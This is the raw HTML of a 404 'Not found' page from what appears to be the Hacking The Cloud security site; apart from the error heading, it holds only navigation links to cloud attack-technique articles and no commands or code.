1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=/. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=/aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=/azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=/gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=/terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=/blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=/. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=/assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex=0> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=/aws/general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=/aws/general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=/aws/general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=/aws/general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=/aws/general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=/aws/general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=/aws/general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/aws/enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=/aws/enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/aws/exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=/aws/exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/aws/exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/aws/avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=/aws/avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=/aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=/aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=/aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=/aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=/azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=/azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=/azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=/azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=/gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=/gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=/gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=/gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=/gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=/gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=/terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=/blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=/blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=/blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <h1>404 - Not found</h1> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 